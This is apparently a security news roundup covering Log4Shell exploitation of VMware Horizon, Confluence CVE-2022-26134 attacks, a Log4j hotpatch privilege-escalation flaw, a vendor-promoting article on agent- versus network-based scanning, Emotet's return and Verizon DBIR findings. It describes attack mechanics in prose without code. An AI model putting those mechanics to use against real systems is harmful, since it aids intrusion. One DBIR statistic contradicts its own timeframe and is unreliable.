CISA and the United States Coast Guard Cyber Command (CGCYBER) have released a joint Cybersecurity Advisory (CSA) to warn network defenders that cyber threat actors, including state-sponsored advanced persistent threat (APT) actors, have continued to exploit CVE-2021-44228 (Log4Shell) in VMware Horizon® and Unified Access Gateway (UAG) servers to obtain initial access to organizations that did not apply available patches. The CSA provides information—including tactics, techniques, and procedures and indicators of compromise—derived from two related incident response engagements and malware analysis of samples discovered on the victims’ networks.

CISA and CGCYBER encourage users and administrators to update all affected VMware Horizon and UAG systems to the latest versions. If updates or workarounds were not promptly applied following VMware’s release of updates for Log4Shell, treat all affected VMware systems as compromised. See joint CSA Malicious Cyber Actors Continue to Exploit Log4Shell in VMware Horizon Systems for more information and additional recommendations.

This product is provided subject to this Notification and this Privacy & Use policy.

Please share your thoughts.

Read More

Atlassian Confluence Flaw Being Used to Deploy Ransomware and Crypto Miners

 

Description

A recently patched critical security flaw in Atlassian Confluence Server and Data Center products is being actively weaponized in real-world attacks to drop cryptocurrency miners and ransomware payloads.

In at least two of the Windows-related incidents observed by cybersecurity vendor Sophos, adversaries exploited the vulnerability to deliver Cerber ransomware and a crypto miner called z0miner on victim networks.

The bug (CVE-2022-26134, CVSS score: 9.8), which was patched by Atlassian on June 3, 2022, enables an unauthenticated actor to inject malicious code that paves the way of remote code execution (RCE) on affected installations of the collaboration suite. All supported versions of Confluence Server and Data Center are affected.

Other notable malware pushed as part of disparate instances of attack activity include Mirai and Kinsing bot variants, a rogue package called pwnkit, and Cobalt Strike by way of a web shell deployed after gaining an initial foothold into the compromised system.

“The vulnerability, CVE-2022-26134, allows an attacker to spawn a remotely-accessible shell, in-memory, without writing anything to the server’s local storage,” Andrew Brandt, principal security researcher at Sophos, said.

The disclosure overlaps with similar warnings from Microsoft, which revealed last week that “multiple adversaries and nation-state actors, including DEV-0401 and DEV-0234, are taking advantage of the Atlassian Confluence RCE vulnerability CVE-2022-26134.”

DEV-0401, described by Microsoft as a “China-based lone wolf turned LockBit 2.0 affiliate,” has also been previously linked to ransomware deployments targeting internet-facing systems running VMWare Horizon (Log4Shell), Confluence (CVE-2021-26084), and on-premises Exchange servers (ProxyShell).

The development is emblematic of an ongoing trend where threat actors are increasingly capitalizing on newly disclosed critical vulnerabilities rather than exploiting publicly known, dated software flaws across a broad spectrum of targets.

Read More

CVE-2022-33915

 

Description

Versions of the Amazon AWS Apache Log4j hotpatch package before log4j-cve-2021-44228-hotpatch-1.3.5 are affected by a race condition that could lead to a local privilege escalation. This Hotpatch package is not a replacement for updating to a log4j version that mitigates CVE-2021-44228 or CVE-2021-45046; it provides a temporary mitigation to CVE-2021-44228 by hotpatching the local Java virtual machines. To do so, it iterates through all running Java processes, performs several checks, and executes the Java virtual machine with the same permissions and capabilities as the running process to load the hotpatch. A local user could cause the hotpatch script to execute a binary with elevated privileges by running a custom java process that performs exec() of an SUID binary after the hotpatch has observed the process path and before it has observed its effective user ID.

Read More

Difference Between Agent-Based and Network-Based Internal Vulnerability Scanning

 

Description

For years, the two most popular methods for internal scanning: agent-based and network-based were considered to be about equal in value, each bringing its own strengths to bear. However, with remote working now the norm in most if not all workplaces, it feels a lot more like agent-based scanning is a must, while network-based scanning is an optional extra.

This article will go in-depth on the strengths and weaknesses of each approach, but let’s wind it back a second for those who aren’t sure why they should even do internal scanning in the first place.

Why should you perform internal vulnerability scanning?

While external vulnerability scanning can give a great overview of what you look like to a hacker, the information that can be gleaned without access to your systems can be limited. Some serious vulnerabilities can be discovered at this stage, so it’s a must for many organizations, but that’s not where hackers stop.

Techniques like phishing, targeted malware, and watering-hole attacks all contribute to the risk that even if your externally facing systems are secure, you may still be compromised by a cyber-criminal. Furthermore, an externally facing system that looks secure from a black-box perspective may have severe vulnerabilities that would be revealed by a deeper inspection of the system and software being run.

This is the gap that internal vulnerability scanning fills. Protecting the inside like you protect the outside provides a second layer of defence, making your organization significantly more resilient to a breach. For this reason, it’s also seen as a must for many organizations.

If you’re reading this article, though, you are probably already aware of the value internal scanning can bring but you’re not sure which type is right for your business. This guide will help you in your search.

The different types of internal scanner

Generally, when it comes to identifying and fixing vulnerabilities on your internal network, there are two competing (but not mutually exclusive) approaches: network-based internal vulnerability scanning and agent-based internal vulnerability scanning. Let’s go through each one.

Network-based scanning explained

Network-based internal vulnerability scanning is the more traditional approach, running internal network scans on a box known as a scanning ‘appliance’ that sits on your infrastructure (or, more recently, on a Virtual Machine in your internal cloud).

Agent-based scanning explained

Agent-based internal vulnerability scanning is considered the more modern approach, running ‘agents’ on your devices that report back to a central server.

While “authenticated scanning” allows network-based scans to gather similar levels of information to an agent-based scan, there are still benefits and drawbacks to each approach.

Implementing this badly can cause headaches for years to come. So for organizations looking to implement internal vulnerability scans for the first time, here’s some helpful insight.

Which internal scanner is better for your business?

Coverage

It almost goes without saying, but agents can’t be installed on everything.

Devices like printers; routers and switches; and any other specialized hardware you may have on your network, such as HP Integrated Lights-Out, which is common to many large organizations who manage their own servers, may not have an operating system that’s supported by an agent. However, they will have an IP address, which means you can scan them via a network-based scanner.

This is a double-edged sword in disguise, though. Yes, you are scanning everything, which immediately sounds better. But how much value do those extra results to your breach prevention efforts bring? Those printers and HP iLO devices may infrequently have vulnerabilities, and only some of these may be serious. They may assist an attacker who is already inside your network, but will they help one break into your network to begin with? Probably not.

Meanwhile, will the noise that gets added to your results in the way of additional SSL cipher warnings, self-signed certificates, and the extra management overheads of including them to the whole process be worthwhile?

Clearly, the desirable answer over time is yes, you would want to scan these assets; defence in depth is a core concept in cyber security. But security is equally never about the perfect scenario. Some organizations don’t have the same resources that others do, and have to make effective decisions based on their team size and budgets available. Trying to go from scanning nothing to scanning everything could easily overwhelm a security team trying to implement internal scanning for the first time, not to mention the engineering departments responsible for the remediation effort.

Overall, it makes sense to consider the benefits of scanning everything vs. the workload it might entail deciding whether it’s right for your organization or, more importantly, right for your organization at this point in time.

Looking at it from a different angle, yes, network-based scans can scan everything on your network, but what about what’s not on your network?

Some company laptops get handed out and then rarely make it back into the office, especially in organizations with heavy field sales or consultancy operations. Or what about companies for whom remote working is the norm rather than the exception? Network-based scans won’t see it if it’s not on the network, but with agent-based vulnerability scanning, you can include assets in monitoring even when they are offsite.

So if you’re not using agent-based scanning, you might well be gifting the attacker the one weak link they need to get inside your corporate network: an un-patched laptop that might browse a malicious website or open a malicious attachment. Certainly more useful to an attacker than a printer running a service with a weak SSL cipher.

The winner: Agent-based scanning, because it will allow you broader coverage and include assets not on your network – key while the world adjusts to a hybrid of office and remote working.

If you’re looking for an agent-based scanner to try, Intruder uses an industry-leading scanning engine that’s used by banks and governments all over the world. With over 67,000 local checks available for historic vulnerabilities, and new ones being added on a regular basis, you can be confident of its coverage. You can try Intruder’s internal vulnerability scanner for free by visiting their website.

Attribution

On fixed-IP networks such as an internal server or external-facing environments, identifying where to apply fixes for vulnerabilities on a particular IP address is relatively straightforward.

In environments where IP addresses are assigned dynamically, though (usually, end-user environments are configured like this to support laptops, desktops, and other devices), this can become a problem. This also leads to inconsistencies between monthly reports and makes it difficult to track metrics in the remediation process.

Reporting is a key component of most vulnerability management programs, and senior stakeholders will want you to demonstrate that vulnerabilities are being managed effectively.

Imagine taking a report to your CISO, or IT Director, showing that you have an asset intermittently appearing on your network with a critical weakness. One month it’s there, the next it’s gone, then it’s back again…

In dynamic environments like this, using agents that are each uniquely tied to a single asset makes it simpler to measure, track and report on effective remediation activity without the ground shifting beneath your feet.

The winner: Agent-based scanning, because it will allow for more effective measurement and reporting of your remediation efforts.

Discovery

Depending on how archaic or extensive your environments are or what gets brought to the table by a new acquisition, your visibility of what’s actually in your network in the first place may be very good or very poor.

One key advantage to network-based vulnerability scanning is that you can discover assets you didn’t know you had. Not to be overlooked, asset management is a precursor to effective vulnerability management. You can’t secure it if you don’t know you have it!

Similar to the discussion around coverage, though, if you’re willing to discover assets on your network, you must also be willing to commit resources to investigate what they are, and tracking down their owners. This can lead to ownership tennis where nobody is willing to take responsibility for the asset, and require a lot of follow-up activity from the security team. Again it simply comes down to priorities. Yes, it needs to be done, but the scanning is the easy bit; you need to ask yourself if you’re also ready for the follow-up.

The winner: Network-based scanning, but only if you have the time and resources to manage what is uncovered!

Deployment

Depending on your environment, the effort of implementation and ongoing management for properly authenticated network-based scans will be greater than that of an agent-based scan. However, this heavily depends on how many operating systems you have vs. how complex your network architecture is.

Simple Windows networks allow for the easy rollout of agents through Group Policy installs. Similarly, a well-managed server environment shouldn’t pose too much of a challenge.

The difficulties of installing agents occur where there’s a great variety of operating systems under management, as this will require a heavily tailored rollout process. Modifications to provisioning procedures will also need to be taken into account to ensure that new assets are deployed with the agents already installed or quickly get installed after being brought online. Modern server orchestration technologies like Puppet, Chef, and Ansible can really help here.

Deploying network-based appliances on the other hand requires analysis of network visibility, i.e. from “this” position in the network, can we “see” everything else in the network, so the scanner can scan everything?

It sounds simple enough, but as with many things in technology, it’s often harder in practice than it is on paper, especially when dealing with legacy networks or those resulting from merger activity. For example, high numbers of VLANs will equate to high amounts of configuration work on the scanner.

For this reason, designing a network-based scanning architecture relies on accurate network documentation and understanding, which is often a challenge, even for well-resourced organizations. Sometimes, errors in understanding up-front can lead to an implementation that doesn’t match up to reality and requires subsequent “patches” and the addition of further appliances. The end result can often be that it’s just as difficult to maintain patchwork despite original estimations seeming simple and cost-effective.

The winner: It depends on your environment and the infrastructure team’s availability.

Maintenance

Due to the situation explained in the previous section, practical considerations often mean you end up with multiple scanners on the network in a variety of physical or logical positions. This means that when new assets are provisioned or changes are made to the network, you have to make decisions on which scanner will be responsible and make changes to that scanner. This can place an extra burden on an otherwise busy security team. As a rule of thumb, complexity, wherever not necessary, should be avoided.

Sometimes, for these same reasons, appliances need to be located in places where physical maintenance is troublesome. This could be either a data center or a local office or branch. Scanner not responding today? Suddenly the SecOps team is picking straws for who has to roll up their sleeves and visit the datacenter.

Also, as any new VLANs are rolled out, or firewall and routing changes alter the layout of the network, scanning appliances need to be kept in sync with any changes made.

The winner: Agent-based scanners are much easier to maintain once installed.

Concurrency and scalability

While the concept of sticking a box on your network and running everything from a central point can sound alluringly simple, if you are so lucky to have such a simple network (many aren’t), there are still some very real practicalities to consider around how that scales.

Take, for example, the recent vulnerability Log4shell, which impacted Log4j - a logging tool used by millions of computers worldwide. With such wide exposure, it’s safe to say almost every security team faced a scramble to determine whether they were affected or not.

Even with the ideal scenario of having one centralized scanning appliance, the reality is this box cannot concurrently scan a huge number of machines. It may run a number of threads, but realistically processing power and network-level limitations means you could be waiting a number of hours before it comes back with the full picture (or, in some cases, a lot longer).

Agent-based vulnerability scanning, on the other hand, spreads the load to individual machines, meaning there’s less of a bottleneck on the network, and results can be gained much more quickly.

There’s also the reality that your network infrastructure may be ground to a halt by concurrently scanning all of your assets across the network. For this reason, some network engineering teams limit scanning windows to after-hours when laptops are at home and desktops are turned off. Test environments may even be powered down to save resources.

Intruder automatically scans your internal systems as soon as new vulnerabilities are released, allowing you to discover and eliminate security holes in your most exposed systems promptly and effectively.

The winner: Agent-based scanning can overcome common problems that are not always obvious in advance, while relying on network scanning alone can lead to major gaps in coverage.

Summary

With the adoption of any new system or approach, it pays to do things incrementally and get the basics right before moving on to the next challenge. This is a view that the NCSC, the UK’s leading authority on cyber security, shares as it frequently publishes guidance around getting the basics right.

This is because, broadly speaking, having the basic 20% of defences implemented effectively will stop 80% of the attackers out there. In contrast, advancing into 80% of the available defences but implementing them badly will likely mean you struggle to keep out the classic kid-in-bedroom scenario we’ve seen too much of in recent years.

For those organizations on an information security journey, looking to roll out vulnerability scanning solutions, here are some further recommendations:

Step 1 — Ensure you have your perimeter scanning sorted with a continuous and proactive approach. Your perimeter is exposed to the internet 24/7, and so there’s no excuse for organizations who fail to respond quickly to critical vulnerabilities here.

Step 2 — Next, focus on your user environment. The second most trivial route into your network will be a phishing email or drive-by download that infects a user workstation, as this requires no physical access to any of your locations. With remote work being the new norm, you need to be able to have a watch over all laptops and devices, wherever they may be. From the discussion above, it’s fairly clear that agents have the upper hand in this department.

Step 3 — Your internal servers, switches and other infrastructure will be the third line of defence, and this is where internal network appliance-based scans can make a difference. Internal vulnerabilities like this can help attackers elevate their privileges and move around inside your network, but it won’t be how they get in, so it makes sense to focus here last.

Hopefully, this article casts some light on what is never a trivial decision and can cause lasting pain points for organizations with ill-fitting implementations. There are pros and cons, as always, no one-size-fits-all, and plenty of rabbit holes to avoid. But, by considering the above scenarios, you should be able to get a feel for what is right for your organization.

Read More

Potent Emotet Variant Spreads Via Stolen Email Credentials

 

Description

Emotet’s resurgence in April seems to be the signal of a full comeback for what was once dubbed “the most dangerous malware in the world,” with researchers spotting various new malicious phishing campaigns using hijacked emails to spread new variants of the malware.

The “new and improved” version of Emotet is exhibiting a “troubling” behavior of effectively collecting and using stolen credentials, “which are then being weaponized to further distribute the Emotet binaries,” Charles Everette from Deep Instinct revealed in a blog post this week, citing research from HP Wolf Security’s latest threat insights blog.

“[Emotet] still utilizes many of the same attack vectors it has exploited in the past,” he wrote. “The issue is that these attacks are getting more sophisticated and are bypassing today’s standard security tools for detecting and filtering out these types of attacks.”

In April, Emotet malware attacks returned after a 10-month “spring break” with targeted phishing attacks linked to the threat actor known as TA542, which since 2014 has leveraged the Emotet malware with great success, according to a report by Proofpoint.

These attacks—which were being leveraged to deliver ransomware—came on the back of attacks in February and March hitting victims in Japan using hijacked email threads and then “using those accounts as a launch point to trick victims into enabling macros of attached malicious office documents,” Deep Instinct’s Everette wrote.

“Looking at the new threats coming from Emotet in 2022 we can see that there has been an almost 900 percent increase in the use of Microsoft Excel macros compared to what we observed in Q4 2021,” he wrote.

Emotet Rides Again

The attacks that followed in April targeted new regions beyond Japan and also demonstrated other characteristics signaling a ramp-up in activity and rise in sophistication of Emotet, Deep Instinct noted.

Emotet, like other threat groups, continues to leverage a more than 20-year-old Office bug that was patched in 2017, CVE-2017-11882, with nearly 20 percent of the samples that researchers observed exploiting this flaw. The Microsoft Office Memory corruption vulnerability allows an attacker to perform arbitrary code execution.

Nine percent of the new Emotet threats observed were never seen before, and 14 percent of the recent emails spreading the malware bypassed at least one email gateway security scanner before it was captured, according to Deep Instinct.

Emotet still primarily uses phishing campaigns with malicious attachments as its transportation of choice, with 45 percent of the malware detect using some type of Office attachment, according to Deep Instinct. Of these attachments, 33 percent were spreadsheets, 29 percent were executables and scripts, 22 percent were archives and 11 percent were documents.

Other notable changes to Emotet’s latest incarnation is its use of 64-bit shell code, as well as more advanced PowerShell and active scripts in attacks, according to Deep Instinct.

History of a Pervasive Threat

Emotet started its nefarious activity as a banking trojan in 2014, with its operators having the dubious honor of being one of the first criminal groups to provide malware-as-a-service (MaaS), Deep Instinct noted.

The trojan evolved over time to become a full-service threat-delivery mechanism, with the ability to install a collection of malware on victim machines, including information stealers, email harvesters, self-propagation mechanisms and ransomware. Indeed, Trickbot and the Ryuk and Conti ransomware groups have been habitual partners of Emotet, with the latter using the malware to gain initial entry onto targeted systems.

Emotet appeared to be put out of commission by an international law-enforcement collaborative takedown of a network of hundreds of botnet servers supporting the system in January 2021. But as often happens with cybercriminal groups, its operators have since regrouped and seem to be working once again at full power, researchers said.

In fact, in November 2021 when Emotet emerged again nearly a year after it went dark, it was on the back of its collaborator Trickbot. A team of researchers from Cryptolaemus, G DATA and AdvIntel separately observed the trojan launching a new loader for Emotet, signaling its return to the threat landscape.

Read More

3 Takeaways From the 2022 Verizon Data Breach Investigations Report

 

Description

Sometimes, data surprises you. When it does, it can force you to rethink your assumptions and second-guess the way you look at the world. But other times, data can reaffirm your assumptions, giving you hard proof they’re the right ones — and providing increased motivation to act decisively based on that outlook.

The 2022 edition of Verizon’s Data Breach Investigations Report (DBIR), which looks at data from cybersecurity incidents that occurred in 2021, is a perfect example of this latter scenario. This year’s DBIR rings many of the same bells that have been resounding in the ears of security pros worldwide for the past 12 to 18 months — particularly, the threat of ransomware and the increasing relevance of complex supply chain attacks.

Here are our three big takeaways from the 2022 DBIR, and why we think they should have defenders doubling down on the big cybersecurity priorities of the current moment.

1. Ransomware’s rise is reaffirmed

In 2021, it was hard to find a cybersecurity headline that didn’t somehow pertain to ransomware. It impacted some 80% of businesses last year and threatened some of the institutions most critical to our society, from primary and secondary schools to hospitals.

This year’s DBIR confirms that ransomware is the critical threat that security pros and laypeople alike believe it to be. Ransomware-related breaches increased by 13% in 2021, the study found — that’s a greater increase than we saw in the past 5 years combined. In fact, nearly 50% of all system intrusion incidents — i.e., those involving a series of steps by which attackers infiltrate a company’s network or other systems — involved ransomware last year.

While the threat has massively increased, the top methods of ransomware delivery remain the ones we’re all familiar with: desktop sharing software, which accounted for 40% of incidents, and email at 35%, according to Verizon’s data. The growing ransomware threat may seem overwhelming, but the most important steps organizations can take to prevent these attacks remain the fundamentals: educating end users on how to spot phishing attempts and maintain security best practices, and equipping infosec teams with the tools needed to detect and respond to suspicious activity.

2. Attackers are eyeing the supply chain

In 2021 and 2022, we’ve been using the term “supply chain” more than we ever thought we would. COVID-induced disruptions in the flow of commodities and goods caused lumber to skyrocket and automakers to run short on microchips.

But security pros have had a slightly different sense of the term on their minds: the software supply chain. Breaches from Kaseya to SolarWinds — not to mention the Log4j vulnerability — reminded us all that vendors’ systems are just as likely a vector of attack as our own.

Unfortunately, Verizon’s Data Breach Investigations Report indicates these incidents are not isolated events — the software supply chain is, in fact, a major avenue of exploitation by attackers. In fact, 62% of cyberattacks that follow the system intrusion pattern began with the threat actors exploiting vulnerabilities in a partner’s systems, the study found.

Put another way: If you were targeted with a system intrusion attack last year, it was almost twice as likely that it began on a partner’s network than on your own.

While supply chain attacks still account for just under 10% of overall cybersecurity incidents, according to the Verizon data, the study authors point out that this vector continues to account for a considerable slice of all incidents each year. That means it’s critical for companies to keep an eye on both their own and their vendors’ security posture. This could include:

• Demanding visibility into the components behind software vendors’ applications
• Staying consistent with regular patching updates
• Acting quickly to remediate and emergency-patch when the next major vulnerability that could affect high numbers of web applications rears its head

3. Mind the app

Between Log4Shell and Spring4Shell, the past 6 months have jolted developers and security pros alike to the realization that their web apps might contain vulnerable code. This proliferation of new avenues of exploitation is particularly concerning given just how commonly attackers target web apps.

Compromising a web application was far and away the top cyberattack vector in 2021, accounting for roughly 70% of security incidents, according to Verizon’s latest DBIR. Meanwhile, web servers themselves were the most commonly exploited asset type — they were involved in nearly 60% of documented breaches.

More than 80% of attacks targeting web apps involved the use of stolen credentials, emphasizing the importance of user awareness and strong authentication protocols at the endpoint level. That said, 30% of basic web application attacks did involve some form of exploited vulnerability — a percentage that should be cause for concern.

“While this 30% may not seem like an extremely high number, the targeting of mail servers using exploits has increased dramatically since last year, when it accounted for only 3% of the breaches,” the authors of the Verizon DBIR wrote.

That means vulnerability exploits accounted for a 10 times greater proportion of web application attacks in 2021 than they did in 2022, reinforcing the importance of being able to quickly and efficiently test your applications for the most common types of vulnerabilities that hackers take advantage of.

Stay the course

For those who’ve been tuned into the current cybersecurity landscape, the key themes of the 2022 Verizon DBIR will likely feel familiar — and with so many major breaches and vulnerabilities that claimed the industry’s attention in 2021, it would be surprising if there were any major curveballs we missed. But the key takeaways from the DBIR remain as critical as ever: Ransomware is a top-priority threat, software supply chains need greater security controls, and web applications remain a key attack vector.

If your go-forward cybersecurity plan reflects these trends, that means you’re on the right track. Now is the time to stick to that plan and ensure you have tools and tactics in place that let you focus on the alerts and vulnerabilities that matter most.

Additional reading:

• A Year on from the Ransomware Task Force Report
• Are You in the 2.5% Who Meet This Cybersecurity Job Requirement?
• What’s Changed for Cybersecurity in Banking and Finance: New Study
• How to Strategically Scale Vendor Management and Supply Chain Security

NEVER MISS A BLOG

Read More